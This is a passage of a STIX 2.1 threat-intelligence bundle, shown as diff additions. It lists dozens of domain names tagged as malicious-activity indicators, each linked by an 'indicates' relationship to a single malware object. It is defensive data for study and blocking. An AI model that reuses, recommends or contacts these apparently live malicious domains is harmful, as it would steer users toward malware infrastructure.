"malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--66e79e48-173c-4f85-95b8-ab9259a09729", + "created": "2023-03-29T12:58:43.843965Z", + "modified": "2023-03-29T12:58:43.843965Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jointwillowluck.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.843965Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b99b7877-1597-4c4c-8879-b164f7cb2740", + "created": "2023-03-29T12:58:43.844569Z", + "modified": "2023-03-29T12:58:43.844569Z", + "relationship_type": "indicates", + "source_ref": "indicator--66e79e48-173c-4f85-95b8-ab9259a09729", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1b3ea434-4bc0-41df-92da-d296e9391c35", + "created": "2023-03-29T12:58:43.844739Z", + "modified": "2023-03-29T12:58:43.844739Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='limesthicken.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.844739Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7542ec95-db6b-4bc4-8215-517fcfe7da36", + "created": "2023-03-29T12:58:43.845471Z", + "modified": "2023-03-29T12:58:43.845471Z", + "relationship_type": "indicates", + "source_ref": "indicator--1b3ea434-4bc0-41df-92da-d296e9391c35", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c9a154d7-727b-44e3-b07f-540428edb575", + "created": "2023-03-29T12:58:43.845656Z", + "modified": "2023-03-29T12:58:43.845656Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gatradi.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.845656Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4b959e41-1d10-46e4-8c9c-bb764cb16500", + "created": "2023-03-29T12:58:43.84625Z", + "modified": "2023-03-29T12:58:43.84625Z", + "relationship_type": "indicates", + "source_ref": "indicator--c9a154d7-727b-44e3-b07f-540428edb575", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0288afcb-f46a-48cf-aa84-10680c33056b", + "created": "2023-03-29T12:58:43.846421Z", + "modified": "2023-03-29T12:58:43.846421Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cibofattoincasa.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.846421Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c098d31a-649e-4866-b9bc-0ff8679675d7", + "created": "2023-03-29T12:58:43.847024Z", + "modified": "2023-03-29T12:58:43.847024Z", + "relationship_type": "indicates", + "source_ref": "indicator--0288afcb-f46a-48cf-aa84-10680c33056b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--46427855-6669-464b-9265-3e8ded23f707", + "created": "2023-03-29T12:58:43.847193Z", + "modified": "2023-03-29T12:58:43.847193Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='outtakescrayfish.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.847193Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0bcd20f6-dd50-495e-9118-1a702f663a80", + "created": "2023-03-29T12:58:43.847796Z", + "modified": "2023-03-29T12:58:43.847796Z", + "relationship_type": "indicates", + "source_ref": "indicator--46427855-6669-464b-9265-3e8ded23f707", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--90f2babb-f2b3-40b7-935d-aa93007191c8", + "created": "2023-03-29T12:58:43.847966Z", + "modified": "2023-03-29T12:58:43.847966Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sprinklerbulb.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.847966Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--64387155-d828-49a5-80f8-75a20365d579", + "created": "2023-03-29T12:58:43.848561Z", + "modified": "2023-03-29T12:58:43.848561Z", + "relationship_type": "indicates", + "source_ref": "indicator--90f2babb-f2b3-40b7-935d-aa93007191c8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c1d205e1-4c1d-45f8-bff9-594a10e80780", + "created": "2023-03-29T12:58:43.848728Z", + "modified": "2023-03-29T12:58:43.848728Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='absintheskewer.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.848728Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6182dcc2-d8ff-47e4-a85e-9cae005cb316", + "created": "2023-03-29T12:58:43.849332Z", + "modified": "2023-03-29T12:58:43.849332Z", + "relationship_type": "indicates", + "source_ref": "indicator--c1d205e1-4c1d-45f8-bff9-594a10e80780", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--33b6f317-ab06-424b-863a-38a32fa171ed", + "created": "2023-03-29T12:58:43.849501Z", + "modified": "2023-03-29T12:58:43.849501Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='settlemarlin.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.849501Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d94f1fba-6eec-4e26-b19f-f3ade69bb086", + "created": "2023-03-29T12:58:43.850109Z", + "modified": "2023-03-29T12:58:43.850109Z", + "relationship_type": "indicates", + "source_ref": "indicator--33b6f317-ab06-424b-863a-38a32fa171ed", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--77fecab9-4002-4d87-8577-7b7caee07694", + "created": "2023-03-29T12:58:43.850283Z", + "modified": "2023-03-29T12:58:43.850283Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='whatcando.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.850283Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--374ec6d8-c129-4512-939e-c0f677973508", + "created": "2023-03-29T12:58:43.850876Z", + "modified": "2023-03-29T12:58:43.850876Z", + "relationship_type": "indicates", + "source_ref": "indicator--77fecab9-4002-4d87-8577-7b7caee07694", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f6811a33-ae0f-4340-9867-6d36d9070276", + "created": "2023-03-29T12:58:43.851043Z", + "modified": "2023-03-29T12:58:43.851043Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sandyhubcap.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.851043Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--48284b56-8d2a-403c-9103-6a6512c37235", + "created": "2023-03-29T12:58:43.851639Z", + "modified": "2023-03-29T12:58:43.851639Z", + "relationship_type": "indicates", + "source_ref": "indicator--f6811a33-ae0f-4340-9867-6d36d9070276", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c9b3fcc1-521e-49fc-8f2f-f13c19e99e69", + "created": "2023-03-29T12:58:43.851807Z", + "modified": "2023-03-29T12:58:43.851807Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='snoutpull.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.851807Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2e6da35f-60f7-4d35-ad1b-9d1c40486db1", + "created": "2023-03-29T12:58:43.852516Z", + "modified": "2023-03-29T12:58:43.852516Z", + "relationship_type": "indicates", + "source_ref": "indicator--c9b3fcc1-521e-49fc-8f2f-f13c19e99e69", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ffd7695b-2efd-4d77-b6e1-d14f193981ac", + "created": "2023-03-29T12:58:43.852688Z", + "modified": "2023-03-29T12:58:43.852688Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='supportsetting.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.852688Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--35b08048-7c09-4164-bfc3-29d6a837317e", + "created": "2023-03-29T12:58:43.853292Z", + "modified": "2023-03-29T12:58:43.853292Z", + "relationship_type": "indicates", + "source_ref": "indicator--ffd7695b-2efd-4d77-b6e1-d14f193981ac", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8e865021-261c-4cf7-9c7f-071a3d07e117", + "created": "2023-03-29T12:58:43.853473Z", + "modified": "2023-03-29T12:58:43.853473Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='talksheep.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.853473Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6362eda8-f01f-4c55-b676-c64e83266073", + "created": "2023-03-29T12:58:43.85408Z", + "modified": "2023-03-29T12:58:43.85408Z", + "relationship_type": "indicates", + "source_ref": "indicator--8e865021-261c-4cf7-9c7f-071a3d07e117", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ca1f90c8-24b1-4d20-afec-d3ada3b571fe", + "created": "2023-03-29T12:58:43.854249Z", + "modified": "2023-03-29T12:58:43.854249Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='impotencykleenex.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.854249Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--62439b6e-126d-4dda-ad03-2124e266bd45", + "created": "2023-03-29T12:58:43.854855Z", + "modified": "2023-03-29T12:58:43.854855Z", + "relationship_type": "indicates", + "source_ref": "indicator--ca1f90c8-24b1-4d20-afec-d3ada3b571fe", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5b505fa6-313e-4437-8f69-028cdf9869d5", + "created": "2023-03-29T12:58:43.855025Z", + "modified": "2023-03-29T12:58:43.855025Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='treadingcollapse.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.855025Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a393f1dd-a395-4c5b-9076-8c52f893a0fb", + "created": "2023-03-29T12:58:43.855628Z", + "modified": "2023-03-29T12:58:43.855628Z", + "relationship_type": "indicates", + "source_ref": "indicator--5b505fa6-313e-4437-8f69-028cdf9869d5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--26ad5ac7-c12c-4867-b044-f23658a99475", + "created": "2023-03-29T12:58:43.855796Z", + "modified": "2023-03-29T12:58:43.855796Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sandbanksegment.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.855796Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c66c0352-c2d3-4e3c-bb14-97c2b12a2712", + "created": "2023-03-29T12:58:43.856396Z", + "modified": "2023-03-29T12:58:43.856396Z", + "relationship_type": "indicates", + "source_ref": "indicator--26ad5ac7-c12c-4867-b044-f23658a99475", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--35f3f30d-3a83-47ff-8b60-4c76f4e90270", + "created": "2023-03-29T12:58:43.856579Z", + "modified": "2023-03-29T12:58:43.856579Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='issueherring.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.856579Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--65a26579-a3da-4cd6-b01d-36329c190bba", + "created": "2023-03-29T12:58:43.857176Z", + "modified": "2023-03-29T12:58:43.857176Z", + "relationship_type": "indicates", + "source_ref": "indicator--35f3f30d-3a83-47ff-8b60-4c76f4e90270", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6d8d09f6-b6d0-4513-a7e0-20d728d541c9", + "created": "2023-03-29T12:58:43.857345Z", + "modified": "2023-03-29T12:58:43.857345Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='foundingcatlike.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.857345Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6256d96a-bfb6-4161-9b0c-836b109b678f", + "created": "2023-03-29T12:58:43.857997Z", + "modified": "2023-03-29T12:58:43.857997Z", + "relationship_type": "indicates", + "source_ref": "indicator--6d8d09f6-b6d0-4513-a7e0-20d728d541c9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7803219b-5ca6-4020-aedb-871819ee3061", + "created": "2023-03-29T12:58:43.85817Z", + "modified": "2023-03-29T12:58:43.85817Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kelpacronym.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.85817Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--587859f7-8546-4d78-b891-50a89306b13b", + "created": "2023-03-29T12:58:43.858771Z", + "modified": "2023-03-29T12:58:43.858771Z", + "relationship_type": "indicates", + "source_ref": "indicator--7803219b-5ca6-4020-aedb-871819ee3061", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3742094e-881b-4791-874a-aea12ea1afc0", + "created": "2023-03-29T12:58:43.858942Z", + "modified": "2023-03-29T12:58:43.858942Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sindo-news.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.858942Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c406dcfb-95a4-4b09-9733-860ed4df90a2", + "created": "2023-03-29T12:58:43.859647Z", + "modified": "2023-03-29T12:58:43.859647Z", + "relationship_type": "indicates", + "source_ref": "indicator--3742094e-881b-4791-874a-aea12ea1afc0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0a0cc059-b6ae-4084-9f75-5b3560c6df56", + "created": "2023-03-29T12:58:43.859819Z", + "modified": "2023-03-29T12:58:43.859819Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='angelfishseltzer.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.859819Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9a169be4-007b-4f98-a8ee-696b975b7bd0", + "created": "2023-03-29T12:58:43.860475Z", + "modified": "2023-03-29T12:58:43.860475Z", + "relationship_type": "indicates", + "source_ref": "indicator--0a0cc059-b6ae-4084-9f75-5b3560c6df56", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bbc2f600-a63e-4b0f-98ff-31b7a0ada768", + "created": "2023-03-29T12:58:43.86065Z", + "modified": "2023-03-29T12:58:43.86065Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='acidconfront.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.86065Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--276cc186-9efe-4bf9-8fc8-3a9315502ac4", + "created": "2023-03-29T12:58:43.861247Z", + "modified": "2023-03-29T12:58:43.861247Z", + "relationship_type": "indicates", + "source_ref": "indicator--bbc2f600-a63e-4b0f-98ff-31b7a0ada768", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--026bbe43-1e9e-4c97-b3a9-1c85754d1cf6", + "created": "2023-03-29T12:58:43.861416Z", + "modified": "2023-03-29T12:58:43.861416Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='poserbanner.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.861416Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cea24c3d-b261-4371-8175-1cf0035119a3", + "created": "2023-03-29T12:58:43.862017Z", + "modified": "2023-03-29T12:58:43.862017Z", + "relationship_type": "indicates", + "source_ref": "indicator--026bbe43-1e9e-4c97-b3a9-1c85754d1cf6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8b05c36c-ca0d-4e57-a614-c6a7090e1caf", + "created": "2023-03-29T12:58:43.862192Z", + "modified": "2023-03-29T12:58:43.862192Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='reflectoranyhow.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.862192Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e3d7a770-2127-4e11-a74c-5be8d53c1822", + "created": "2023-03-29T12:58:43.862792Z", + "modified": "2023-03-29T12:58:43.862792Z", + "relationship_type": "indicates", + "source_ref": "indicator--8b05c36c-ca0d-4e57-a614-c6a7090e1caf", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bd4a2f1e-832e-4c4f-8d8c-1d70913eefb1", + "created": "2023-03-29T12:58:43.86296Z", + "modified": "2023-03-29T12:58:43.86296Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hummingdarkness.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.86296Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3b067235-a374-4b9b-aa9a-b3d3d32eeee0", + "created": "2023-03-29T12:58:43.863558Z", + "modified": "2023-03-29T12:58:43.863558Z", + "relationship_type": "indicates", + "source_ref": "indicator--bd4a2f1e-832e-4c4f-8d8c-1d70913eefb1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ca1a11ad-0915-4fd6-a712-e800e255d5e6", + "created": "2023-03-29T12:58:43.863726Z", + "modified": "2023-03-29T12:58:43.863726Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='washoutbrunch.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.863726Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--170939bd-5b09-4afd-8d20-161ded9afc4e", + "created": "2023-03-29T12:58:43.864323Z", + "modified": "2023-03-29T12:58:43.864323Z", + "relationship_type": "indicates", + "source_ref": "indicator--ca1a11ad-0915-4fd6-a712-e800e255d5e6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--17ccfe82-bb86-46b1-b890-a549f63d877e", + "created": "2023-03-29T12:58:43.864497Z", + "modified": "2023-03-29T12:58:43.864497Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='uptightattendee.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.864497Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8ef374a7-d8cf-4f56-b43d-a031dfc11584", + "created": "2023-03-29T12:58:43.865116Z", + "modified": "2023-03-29T12:58:43.865116Z", + "relationship_type": "indicates", + "source_ref": "indicator--17ccfe82-bb86-46b1-b890-a549f63d877e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6b698b3e-57c8-4123-bc1a-c4a7e04689fb", + "created": "2023-03-29T12:58:43.865288Z", + "modified": "2023-03-29T12:58:43.865288Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='friedrepeated.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.865288Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3eba2429-4f44-4139-bc67-f45bd858b700", + "created": "2023-03-29T12:58:43.865892Z", + "modified": "2023-03-29T12:58:43.865892Z", + "relationship_type": "indicates", + "source_ref": "indicator--6b698b3e-57c8-4123-bc1a-c4a7e04689fb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9ce900ba-230b-426a-b159-0d49144332f5", + "created": "2023-03-29T12:58:43.86606Z", + "modified": "2023-03-29T12:58:43.86606Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='glegoffkey.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.86606Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--417de4f9-a72a-4fe9-a389-a64f6caa9952", + "created": "2023-03-29T12:58:43.866776Z", + "modified": "2023-03-29T12:58:43.866776Z", + "relationship_type": "indicates", + "source_ref": "indicator--9ce900ba-230b-426a-b159-0d49144332f5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a891978b-63eb-4dd6-bbeb-ed3a6a087493", + "created": "2023-03-29T12:58:43.86695Z", + "modified": "2023-03-29T12:58:43.86695Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='twistedblocks.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.86695Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5aa5da1a-8a19-4f80-af37-d1944c3affd4", + "created": "2023-03-29T12:58:43.867552Z", + "modified": "2023-03-29T12:58:43.867552Z", + "relationship_type": "indicates", + "source_ref": "indicator--a891978b-63eb-4dd6-bbeb-ed3a6a087493", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--527ecd36-e37f-4edd-ae82-c572ce74271c", + "created": "2023-03-29T12:58:43.86772Z", + "modified": "2023-03-29T12:58:43.86772Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='surroundcomma.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.86772Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0629f9d1-e205-4e38-b62b-3abe4d7bd03c", + "created": "2023-03-29T12:58:43.868476Z", + "modified": "2023-03-29T12:58:43.868476Z", + "relationship_type": "indicates", + "source_ref": "indicator--527ecd36-e37f-4edd-ae82-c572ce74271c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a659357b-7c32-421e-9193-ca2fda703467", + "created": "2023-03-29T12:58:43.868652Z", + "modified": "2023-03-29T12:58:43.868652Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hydrationurban.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.868652Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--48439583-a845-45ba-a8f9-131a34fda9c3", + "created": "2023-03-29T12:58:43.869258Z", + "modified": "2023-03-29T12:58:43.869258Z", + "relationship_type": "indicates", + "source_ref": "indicator--a659357b-7c32-421e-9193-ca2fda703467", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--35d4dc2c-0f6c-48f1-8c6c-ac388c8c8905", + "created": "2023-03-29T12:58:43.869427Z", + "modified": "2023-03-29T12:58:43.869427Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='smugglingebook.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.869427Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--471c72d0-7de1-4a88-af13-72e3f0cc5fb5", + "created": "2023-03-29T12:58:43.870042Z", + "modified": "2023-03-29T12:58:43.870042Z", + "relationship_type": "indicates", + "source_ref": "indicator--35d4dc2c-0f6c-48f1-8c6c-ac388c8c8905", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--250b8fd0-78eb-4cd3-b6f4-cb4198b15914", + "created": "2023-03-29T12:58:43.870211Z", + "modified": "2023-03-29T12:58:43.870211Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='utmostcalamari.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.870211Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c8ba74a1-eb71-4273-baff-0f4b4d2cb721", + "created": "2023-03-29T12:58:43.870807Z", + "modified": "2023-03-29T12:58:43.870807Z", + "relationship_type": "indicates", + "source_ref": "indicator--250b8fd0-78eb-4cd3-b6f4-cb4198b15914", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--608712cb-b487-46eb-9236-762799c54167", + "created": "2023-03-29T12:58:43.87098Z", + "modified": "2023-03-29T12:58:43.87098Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dairyfreeload.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.87098Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--57ab6a79-1cff-4ef3-81f9-44b6d1ea9590", + "created": "2023-03-29T12:58:43.871582Z", + "modified": "2023-03-29T12:58:43.871582Z", + "relationship_type": "indicates", + "source_ref": "indicator--608712cb-b487-46eb-9236-762799c54167", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--71ae105c-249f-4c57-b688-ce158b7b3017", + "created": "2023-03-29T12:58:43.871754Z", + "modified": "2023-03-29T12:58:43.871754Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fragilitycreative.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.871754Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ce85fe69-a220-46bd-8705-07969e768b79", + "created": "2023-03-29T12:58:43.872359Z", + "modified": "2023-03-29T12:58:43.872359Z", + "relationship_type": "indicates", + "source_ref": "indicator--71ae105c-249f-4c57-b688-ce158b7b3017", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bee2e819-d907-4335-9636-2eec067bb8df", + "created": "2023-03-29T12:58:43.872529Z", + "modified": "2023-03-29T12:58:43.872529Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tridentamused.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.872529Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--267cf10a-bc1b-4f78-a6bb-9bdf1f49be8d", + "created": "2023-03-29T12:58:43.873138Z", + "modified": "2023-03-29T12:58:43.873138Z", + "relationship_type": "indicates", + "source_ref": "indicator--bee2e819-d907-4335-9636-2eec067bb8df", + "target_ref": 